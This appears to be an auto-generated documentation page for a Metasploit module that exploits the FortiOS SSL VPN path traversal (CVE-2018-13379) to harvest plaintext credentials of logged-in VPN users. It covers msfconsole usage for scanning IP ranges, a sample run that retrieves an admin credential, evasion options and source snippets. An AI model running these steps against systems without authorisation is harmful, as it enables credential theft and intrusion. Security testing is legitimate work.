FortiOS Path Traversal Credential Gatherer - Metasploit
This page contains detailed information about how to use the auxiliary/gather/fortios_vpnssl_traversal_creds_leak metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: FortiOS Path Traversal Credential Gatherer
Module: auxiliary/gather/fortios_vpnssl_traversal_creds_leak
Source code: modules/auxiliary/gather/fortios_vpnssl_traversal_creds_leak.rb
Disclosure date: -
Last modification time: 2021-06-03 07:57:31 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888, 10443
List of CVEs: CVE-2018-13379
Fortinet FortiOS versions 5.4.6 to 5.4.12, 5.6.3 to 5.6.7 and 6.0.0 to 6.0.4 are vulnerable to a path traversal vulnerability within the SSL VPN web portal which allows unauthenticated attackers to download FortiOS system files through specially crafted HTTP requests. This module exploits this vulnerability to read the usernames and passwords of users currently logged into the FortiOS SSL VPN, which are stored in plaintext in the "/dev/cmdb/sslvpn_websession" file on the VPN server.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/gather/fortios_vpnssl_traversal_creds_leak
msf auxiliary(fortios_vpnssl_traversal_creds_leak) > show options
... show and set options ...
msf auxiliary(fortios_vpnssl_traversal_creds_leak) > set RHOSTS ip-range
msf auxiliary(fortios_vpnssl_traversal_creds_leak) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(fortios_vpnssl_traversal_creds_leak) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(fortios_vpnssl_traversal_creds_leak) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(fortios_vpnssl_traversal_creds_leak) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
Fortinet FortiOS versions 5.4.6 to 5.4.12, 5.6.3 to 5.6.7 and 6.0.0 to 6.0.4 are vulnerable to a path traversal vulnerability within the SSL VPN web portal which allows unauthenticated attackers to download FortiOS system files through specially crafted HTTP requests.
This module exploits this vulnerability to read the usernames and passwords of users currently logged
into the FortiOS SSL VPN, which are stored in plaintext in the /dev/cmdb/sslvpn_websession
file on
the VPN server.
Verification Steps
- Start msfconsole
- Do: use auxiliary/gather/fortios_vpnssl_traversal_creds_leak
- Do: set RHOSTS [IP]
- Do: set RPORT 10443
- Do: run
Options
DUMP_FORMAT
Dump format. (Accepted: raw, ascii)
STORE_CRED
If set, then store gathered credentials into the Metasploit creds database.
Scenarios
FortiOS 6.0
msf6 > use auxiliary/gather/fortios_vpnssl_traversal_creds_leak
msf6 auxiliary(gather/fortios_vpnssl_traversal_creds_leak) > show options
Module options (auxiliary/gather/fortios_vpnssl_traversal_creds_leak):
Name Current Setting Required Description
---- --------------- -------- -----------
DUMP_FORMAT raw yes Dump format. (Accepted: raw, ascii)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 10443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
STORE_CRED true no Store credential into the database.
TARGETURI /remote yes Base path
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
msf6 auxiliary(gather/fortios_vpnssl_traversal_creds_leak) > set RHOSTS *redacted*
RHOSTS => *redacted*
msf6 auxiliary(gather/fortios_vpnssl_traversal_creds_leak) > run
[*] https://*redacted*:10443 - Trying to connect.
[+] https://*redacted*:10443 - Vulnerable!
[+] https://*redacted*:10443 - File saved to /home/gwillcox/.msf4/loot/20210226142747_default_*redacted*__761592.txt
[+] https://*redacted*:10443 - 1 credential(s) found!
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(gather/fortios_vpnssl_traversal_creds_leak) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
*redacted* *redacted* 10443/tcp (https) admin *redacted* Password
msf6 auxiliary(gather/fortios_vpnssl_traversal_creds_leak) > cat /home/gwillcox/.msf4/loot/20210226142747_default_*redacted*__761592.txt
[*] exec: cat /home/gwillcox/.msf4/loot/20210226142747_default_*redacted*__761592.txt
var fgt_lang =
�/V^Pҽ�w���V^��V^��V^*redacted*admin*redacted*RemoteUSersfull-accessroot�бmsf6 auxiliary(gather/fortios_vpnssl_traversal_creds_leak) >
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Msfconsole Usage
Here is how the gather/fortios_vpnssl_traversal_creds_leak auxiliary module looks in the msfconsole:
msf6 > use auxiliary/gather/fortios_vpnssl_traversal_creds_leak
msf6 auxiliary(gather/fortios_vpnssl_traversal_creds_leak) > show info
Name: FortiOS Path Traversal Credential Gatherer
Module: auxiliary/gather/fortios_vpnssl_traversal_creds_leak
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
lynx (Carlos Vieira)
mekhalleh (RAMELLA S��bastien)
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DUMP_FORMAT raw yes Dump format. (Accepted: raw, ascii)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 10443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
STORE_CRED true no Store credential into the database.
TARGETURI /remote yes Base path
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Description:
Fortinet FortiOS versions 5.4.6 to 5.4.12, 5.6.3 to 5.6.7 and 6.0.0
to 6.0.4 are vulnerable to a path traversal vulnerability within the
SSL VPN web portal which allows unauthenticated attackers to
download FortiOS system files through specially crafted HTTP
requests. This module exploits this vulnerability to read the
usernames and passwords of users currently logged into the FortiOS
SSL VPN, which are stored in plaintext in the
"/dev/cmdb/sslvpn_websession" file on the VPN server.
References:
https://nvd.nist.gov/vuln/detail/CVE-2018-13379
https://www.fortiguard.com/psirt/FG-IR-18-384
https://www.exploit-db.com/exploits/47287
https://www.exploit-db.com/exploits/47288
Module Options
This is a complete list of options available in the gather/fortios_vpnssl_traversal_creds_leak auxiliary module:
msf6 auxiliary(gather/fortios_vpnssl_traversal_creds_leak) > show options
Module options (auxiliary/gather/fortios_vpnssl_traversal_creds_leak):
Name Current Setting Required Description
---- --------------- -------- -----------
DUMP_FORMAT raw yes Dump format. (Accepted: raw, ascii)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 10443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
STORE_CRED true no Store credential into the database.
TARGETURI /remote yes Base path
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the gather/fortios_vpnssl_traversal_creds_leak auxiliary module:
msf6 auxiliary(gather/fortios_vpnssl_traversal_creds_leak) > show advanced
Module advanced options (auxiliary/gather/fortios_vpnssl_traversal_creds_leak):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the gather/fortios_vpnssl_traversal_creds_leak module can do:
msf6 auxiliary(gather/fortios_vpnssl_traversal_creds_leak) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the gather/fortios_vpnssl_traversal_creds_leak auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(gather/fortios_vpnssl_traversal_creds_leak) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
No reply.
Here is a relevant code snippet related to the "No reply." error message:
68: print_error(message(e.message.to_s))
69: return nil
70: end
71:
72: unless response
73: print_error(message('No reply.'))
74: return nil
75: end
76:
77: if response.code != 200
78: print_error(message('NOT vulnerable!'))
NOT vulnerable!
Here is a relevant code snippet related to the "NOT vulnerable!" error message:
73: print_error(message('No reply.'))
74: return nil
75: end
76:
77: if response.code != 200
78: print_error(message('NOT vulnerable!'))
79: return nil
80: end
81:
82: if response.body =~ /var fgt_lang/
83: print_good(message('Vulnerable!'))
No data received.
Here is a relevant code snippet related to the "No data received." error message:
153: @ip_address = ip
154:
155: print_status(message('Trying to connect.'))
156: data = execute_request
157: if data.nil?
158: print_error(message('No data received.'))
159: return
160: end
161:
162: loot_data = case datastore['DUMP_FORMAT']
163: when /ascii/
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Related Pull Requests
- #15291 Merged Pull Request: Remove Invalid Import Causing Crashes From FortiOS SSL VPN Credential Leak Module
- #14518 Merged Pull Request: Add fortios path traversal credential grabber (cve-2018-13379)
References
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/http_sickrage_password_leak
- auxiliary/scanner/http/oracle_demantra_database_credentials_leak
- auxiliary/server/ms15_134_mcl_leak
- auxiliary/scanner/dlsw/dlsw_leak_capture
- auxiliary/gather/browser_lanipleak
- auxiliary/gather/doliwamp_traversal_creds
- auxiliary/gather/oats_downloadservlet_traversal
- auxiliary/gather/xbmc_traversal
- auxiliary/gather/advantech_webaccess_creds
- auxiliary/gather/apache_rave_creds
- auxiliary/gather/asterisk_creds
- auxiliary/gather/dolibarr_creds_sqli
- auxiliary/gather/eaton_nsm_creds
- auxiliary/gather/hp_snac_domain_creds
- auxiliary/gather/pimcore_creds_sqli
- auxiliary/gather/teamtalk_creds
- auxiliary/gather/trackit_sql_domain_creds
- auxiliary/admin/http/sysaid_sql_creds
- auxiliary/scanner/http/manageengine_deviceexpert_user_creds
- auxiliary/scanner/http/novell_mdm_creds
- auxiliary/scanner/http/surgenews_user_creds
- auxiliary/scanner/http/symantec_brightmail_ldapcreds
- auxiliary/scanner/http/wordpress_multicall_creds
Authors
- lynx (Carlos Vieira)
- mekhalleh (RAMELLA Sébastien)
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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